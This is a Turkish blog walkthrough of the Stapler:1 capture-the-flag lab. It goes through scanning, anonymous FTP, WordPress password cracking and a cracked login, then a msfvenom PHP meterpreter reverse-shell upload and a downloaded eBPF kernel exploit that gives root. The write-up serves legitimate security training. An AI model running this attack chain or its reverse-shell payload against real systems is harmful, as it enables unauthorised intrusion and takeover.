Stapler:1 Zafiyetli Makinesinin Çözümü

Fatih Turgut
9 min readJul 19, 2020

--

Bugün sizlerle birlikte Stapler:1 zafiyetli makinesinin çözüm aşamalarını sizlere anlatmaya çalışacağım arkadaşlar. Elimden geldiğince bol resim koymaya çalıştım arkadaşlar. Umarım şimdiden faydalı olur :)

İzlediğim Pentest Metodolojisi:

  1. Network Taraması
  2. Bulduğum dizinleri keşif etme (robots.txt, myphpadmin vs)
  3. Wordpress taramaları, kullanıcı keşifleri, password saldırıları
  4. Msfvenom kullanımı
  5. Metasploit kullanımı
  6. Yetki yükseltme

Konfigürasyonlar:

Öncelikle ben Kali Linux ve Stapler:1 makisine VirtualBox’da NAT ağının arkasına koydu. Bunu yapmamın sebebi IP adreslerini daha hızlı bir şekilde yazabileceğim bir IP bloğunun olmasını ve zafiyetli makinenin dışarı ile olan bağlantısının kesilmesi istemem.

Benim kullandığım IP bloğu: 5.5.5.0/24

Sahip olduğum ip = 5.5.5.8

1) netdiscover Aracının Kullanılması

netdiscover komutu

Yukarıdaki resimde bulunan komutu çalıştırınca aynı ağ üzerinde bulunan diğer makinelerin IP adreslerini bulmamı sağlayacak. Başlangıçta Stapler:1 makinesinin IP adresini bilmiyorum. Çıkan sonuçlar şu şekilde oldu:

netdiscover sonucu

Burada elde ettiğim bilgiye göre 5.5.5.7 adresi Stapler:1 makinesine ait olabilir diye düşünüyorum. Kontrol amaçlı bu IP adresini arama motorunda deniyorum.

IP kontrolu

Görüldüğü üzere bu IP adresine bağlanabiliyorum. Bu bize Stapler:1 makinesinin IP adresinin 5.5.5.7 olduğunu kanıtlıyor.

2) nmap Taramalarının Yapılması

Şimdi elimde Stapler:1 makinesinin IP adresi bulunuyor. Hemen hızlıca nmap taraması yapalim. Burada kullandığım komut ile bütün portlar üzerinde agresif bir tarama gerçekleştirmeye çalıştırdım. Bu sorgu sonuçlarını daha sonra işim düşerse diye çıktılarını bir dosya içine kaydettim. Yazdığım komut bunu da sağlıyor. Çıkan sonuçlarda göze çarpan yerler şu şekilde resimde gösterilmiştir.

nmap sorgusu ve sonuçları
nmap sorgusu ve sonuçları
nmap sorgusu ve sonuçları

Elde ettiğimiz veriler şu şekildedir:

1) FTP açık ve anonymous kullanıcıya izin verilmiş.

2) 80 portu açık yanı HTTP bağlantısı yapabiliriz.

3 )MySql için 3306 portu da açık bulunuyor.

4) 12380 portu diye garip bir port açık ve içinde Apache çalışıyor gözüküyor. Bu değerlendirilmesi gereken bir nokta. İlerde bu port üzerinde işlemler gerçekleşebilir.

O zaman şimdi elde ettiğimiz verileri kullanmaya başlayalım…

3) FTP üzerinde araştırma

Görüldüğü üzere FTP sunucusu açık gözüküyor. Bu yüzden de kendi bilgisayarımdan karşı bilgisayara FTP bağlantısı yapmalıyım. Bunun için şu şekilde yazıyorum:

FTP bağlanma komutu

Ben biliyorum ki FTP üzerinde anonymous kullanıcıya izin verilmiş.Bu bilgiye nmap taramasında ulaşmıştım. Bunun anlamı şu demektir. Eğer böyle bir izin var ise varsayılan olarak kullanıcı adı ve şifre şu şekilde olmaktadır.

kullanıcı adı: anonymous

şifre: anonymous

Bu bilgi her zaman aklımızda bulunsun. Hemen kullanıcı adı ve şifre ile giriş sağlıyorum.

FTP başarılı giriş ve baştaki ilginç not

Gördüğünüz gibi arkadaşlar başarılı bir şekilde giriş yaptım. Burada dikkat edilmesi gereken bir şey var. FTP sunucusuna bağlandığınızda ilk başta bir not görüyor olacaksınız. Burada Harry ismi dikkat çekici bir isim. Belki ilerde kullanırız diye aklımızda tutalım.

Daha sonra FTP sunucu içerisinde bulunan dosyaları listesini çıkardım. Bir tane dosya bulunuyor. Dosyanın ismi note.

note dosyasının görüntülenmesi ve get komutu

note dosyasını görüntüledikten sonra bunu kendi bilgisayarıma indirdim. Bunu yapmak için get komutunu kullandım ve kullanım şekli bir önceki resimde mavi olarak işaretledim.

note dosyasını okuma

Burada hemen kendi bilgisayarıma geçip not dosyasını okudum. Burada da ilgi çeken isim Elly. Şu ana kadar iki kişinin ismini ele geçirdik: Harry ve Elly.

FTP için yapabileceklerim bu kadar. Şimdi nmap ile ettiğim diğer bilgileri kullanıyım.

4) 80 portu üzerinde işlemler

80 portu için ben dirb sorgusu gerçekleştirdim. Bunu yapmamın sebebi 80 portuna ait olabilecek dizinleri keşfetmeye çalışmaktı. Bu sorgunun çıktılarını da bir dosya içine kaydettim.

Dirb sorgusu ve sonuçları

80 portu üzerinde yaptığım sonuçtan bir şey çıkmadı. Bulduğum dizinleri denedim ama sonuç alamadım. Muhtemelen 80 portundan bir şey elde edemeyeceğim. Moral bozmaya gerek yok :) Hemen bir başka port olan 12380 portu üzerinde işlemler gerçekleştirmeye çalışalım :)

5) 12380 portu üzerinde işlemler

Nmap çıktımızda bu portun açık olduğunu ve içinde bir Apache sunucusu olduğunu öğrenmiştik. Şimdi bu port üzerinde arama gerçekleştirelim. Öncelikle bu port ile nereye gittiğimizi öğrenmek için web tarayıcısı üzerinde kontrol edelim.

12380 portunu web tarayıcıda denemek

Görüldüğü gibi web tarayıcıda 12380 portunu deneyince bir şeyler çıktı. O zaman hemen bu port üzerinde dirb komutunu çalıştıralım. Çıkan sonuçları da bir dosyaya kaydetmek ilerde tekrar kontrol etme aşamasında bize fayda sağlar.

Ama bunu çalıştırınca da bir şey bulamadım ve bu sinir bozucu hale geldi. Şu ana kadar elimize bir şey geçmedi. Daha sonra şunu dikkate alalım arkadaşlar. Bu ana kadar olan her işlemde HTTP bağlantısı kullandık. Bu tür zafiyetli makinelerde bazen HTTPS bağlantısı kullanmanız gerekebilir. Bu tamamen tecrübeye dayalı bir varsayım arkadaşlar. Kontrol etmekten bir zarar gelmez. Hemen web tarayıcısında HTTPS bağlantısı kuralım 12380 portunu kullanarak bir bağlantı gerçekleştirelim.

12380 portuna HTTPS bağlantısı

Arkadaşlar gördüğünüz gibi bağlandık. Eğer siz bağlanırken bir hata alırsanız bu sayfaya gitmek için karşınıza gelen hata mesajını kabul edin ve sayfaya devamı onaylayın. Burada artık HTTPS bağlantısı üzerinden bir dirb komutu çalıştıralım.

HTTPS ile dirb komutunun çalıştırılması

Arkadaşlar ben gene dirb sonuçlarını bir dosyaya kaydetmek istedim. Resimde gördüğünüz gibi daha ilk aramada çıkan sonuçlardan şunu çıkardım.

robots.txt dosyası var

/phpmyadmin/ sayfası var

Hemen robots.txt dosyasına gidiyorum.

robots.txt sayfası

Buradan gene altın gibi bilgiler öğrendik. Bu bilgiler;

/admin112233/ sayfası olduğunu

/blogblog/ sayfası olduğunu

6) /admin112233/ ve /phpmyadin/ sayfasına gitme

Tuzağa Düşme Anı

Görüldüğü üzere bizi tuzağa düşürmek için kullanılan bir sayfaymış :) Ama korkmayın bu tuzak temsili bir tuzak. Bize bu sayfadan bir şey bulamazsınız diyorlar :)

/phpmyadmin/ sayfasına gitmek ve tuzağa düşmek

Gene arkadaşlar burada da bizi başka bir sayfaya yönlendiriyorlar. Bu yüzden bu iki sayfada ben bir şey bulamadım. Bir sonraki aşamada elde ettiğim diğer bilgi olan /blogblog/ uzantısına gitmek olucak.

7) /blogblog/ sayfasına gitme

/blogblog/ uzantılı sayfa

Bu resimde sayfaya HTTPS bağlantısı kullanarak başarılı bir şekilde gittik. Ama burada dikkat çekici bir nokta ise sayfasının sonunda bulunan bilgilerdir.

WordPress kullanıldığının keşfi

Evet arkadaşlar gördüğünüz gibi sayfa WordPress tabanlı bir sayfadır. Bu yüzden hemen WordPress ile ilgili zafiyet keşif aracını kullanalım.

8) Wpscan ile kullanıcı taraması

Artık uygulamamızın bir WordPress uygulaması olduğunu biliyoruz. Bu yüzden de Wpscan ile kullanıcı adlarını bulmayı deneyebiliriz.

Kullanıcı adlarını tarama komutu

Arkadaşlar bu komut ile WordPress uygulamalarında kullanıcı adlarını bulabilirsiniz. Burada sarı ok ile göstediğim şeyi açıklamam gerekiyor. Biz artık HTTPS bağlantısı gerçekleştirdiğimiz için Wpscan her aşamada SSL kontrolu yapmasın diye bunu disable etmemiz gerekiyor. Komutu bu olmadan çalıştıramazsınız.

Şimdi benim elde ettiğim kullanıcı adların şu şekildedir.

John Smith, john , elly peter ve diğerleri

Benim bulduğum kullanıcı isimleri bu şekilde arkadaşlar. Listenin devamı var ama ben bir kısmını koydum. Şimdi istediğimiz kullanıcının şifresini kırmaya çalışabiliriz. Ben burada john seçiyorum. Wpscan ile belirlenen bir kullanıcı ismine göre şifre kırma saldırısı gerçekleştirilebilir.

john kullanıcı adına password saldırısı

Burada açıklamam gerekirse ‘- -passwords’ komutundan sonra bir wordlist vermemiz gerekiyor. Ben garanti olsun diye en büyük wordlist dosyasını verdim. Bunun için de uzantısını yazmanız yeterlidir. Bu şifre kırma olayı baya bir süre alıyor. Ben direk kendi bulduğum sonucu şu şekilde göstereyim.

Kullanıcı adı ve şifresi

Bu kullanıcı adı ve şifreyi elde ettikten sonra hemen WordPress’de default olan admin giriş sayfasına gidiyoruz. Admin giriş sayfasının uzantısı ‘wp-admin’ olur genelde. Aşağıdaki resimdeki uzantıya gidin ve kullanıcı adı ve şifreyi girin:

Kullanıcı adı : john

şifre : incorrect

Kullanıcı adı ve şifreyi girdikten sonra admin paneline erişiyoruz.

Arkadaşlar artık bir tane zararlı php kodu sisteme yükleyip çalıştırabilirsek işiniz kolaylaşır. Bu zararlı php kodunu msfvenom kullanarak oluşturacağız buradaki admin panelinden

Plugins->Add New->Upload Plugins -> Zararlı Php Dosyası

şeklindeki aşamaları izleyerek php dosyasını yükliycez. Yükleme sırasında bize ftp ile alakalı bir şeyler soracak. Hostname =localhost, kullanıcı adı ve şifre de anonymous diye girersiniz.

Bu zararlı php dosyasının oluşturulması için

msfvenom -p php/meterpreter/reverse_tcp LHOST=<sizin ip adresiniz> LPORT=<kullanılmayan bir port numarası kafadan verebilirsiniz> -f raw > <php dosya ismi>.php

Karışık gelebilir ama parametre değerleri sizde farklı olacağı için genel bir kalıp yazmaya çalıştım.

Bu php dosyasını oluşturun ve bir önceki aşamada admin kullanıcı panelinden bu php dosyasını yükleyin.

Bu zafiyetli dosyası daha sonra dizinler arasında bulmanız gerekecek. Zaten dirb çalıştırdığımız zaman WordPress uzantılı dosyaları bulduk. Yüklediğiniz dosya muhtemelen bu dizinde olacaktır.

https://<stapler ip>:12380/blogblog/wp-content/uploads

Burada php dosyanızı bulun ve bekleyin. Şimdi yapmamız gereken msfconsole uygulamasını başlatmak.

use exploit/multi/handler çalıştırın
Gerekli bilgilerin Girilmesi

Evet arkadaşlar şimdi exploit ettikten sonra makineyi hemen web sitesine gidin ve php dosyanızı sağ tıklayıp yeni sekmede açın. Daha sonra terminale geri gelince bir session açıldığını görecekseniz. Buradaki önemli nokta ise php dosyasını oluştururken kullandığınız port numarası ile burdakı port numarası aynı olsun arkadaşlar.

9) Root olmaya çalışma

Şimdi burada session açtıktan sonra ‘shell’ komutunu çalıştırın ve shell’e düşün. Daha sonra da ‘cd /tmp’ dizine gidin. Buraya içinde bulunduğunuz sistemin zafiyetini taraması için bir araç indireceğiz.

Öncelikle yaptığımız işlemleri görelim:

python komutunu çalıştırdım

Sistemde shell aldım ve sistem hakkında bilgi öğrenmek için şu python kodunu çalıştırdım.

python -c ‘import pty;pty.spawn(“/bin/bash/”)’

lsb_release -a

Ve artık sistem hakkında bilgi sahibiyiz. Hemen /tmp dizinine gidelim.

Burada zafiyetli makinemizin sistem açıklarını bulması için bir dosya indirmem gerekiyor.

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

Yukarıdaki komutu çalıştırın.

les.sh dosyası indi gördüğünüz gibi. Hemen bu dosyayı çalıştıralım.

bash les.sh

Şimdi bu komut bize sistemdeki açıklıkları listeleyecek. Buradan da istediğimiz zafiyeti seçebiliriz. Zafiyet listesi şu şekilde çıktı.

Zafiyet listesinin kesiti

Ben burada bu zafiyeti kullandım. Bakın zaten zafiyeti indireceğimiz download url adresi de verilmiş. Hemen bu url adresini kopyalıyorum ve wget komutu ile bilgisayara indiriyorum.

wget <url>

İnen dosyayı listeliyorum. Zip dosyası olduğu için unzip yapmam lazım. Benim dosya ismim 39772.

unzip <dosya ismi>

Çıkarılan zip dosyasının içine giriyorum. Burada exploit.tar ve crasher.tar dosyaları bulunmaktadır. Hemen exploit.tar dosyasını tar dosyasından çıkarıyorum.

tar xf exploit.tar

Daha sonra da yaptığım işlemler şunlardır:

cd ebpf_mapfd_doubleput_exploit

bash compile.sh

Bir süre sonra bize root yetkisini verecektir. Root olunca hemen /root dizini altına gidiyorum. Buradaki dosyaları görüntülüyorum.

flag.txt okunması

Gördüğünüz gibi flag.txt dosyasında flag değerimizi bulduk. Ulaşan herkesi tebrik ediyorum.

Buraya kadar olan her detayı en ince ayrıntısına kadar anlatmaya çalıştım. En genel kalıpları ile sizlere göstermeye çalıştım.Umarım konuyu bir bütün olarak anlatabilmişimdir. Umarım sizler için faydalı olmuştur. Soru, görüş ve geri bildirimleriniz için fatihturgutegitim@gmail.com adresine mail atabilirsiniz.

Ayrıca bana linkedin üzerinden de ulaşabilirsiniz. Okuyan herkese teşekkür eder sağlıklı günler dilerim. Bir sonraki yazımda görüşmek üzere…

--

--

Fatih Turgut
Fatih Turgut

Written by Fatih Turgut

You can find tryhackme solutions and my artical on my offical web site -> https://fthcyber.com/

No responses yet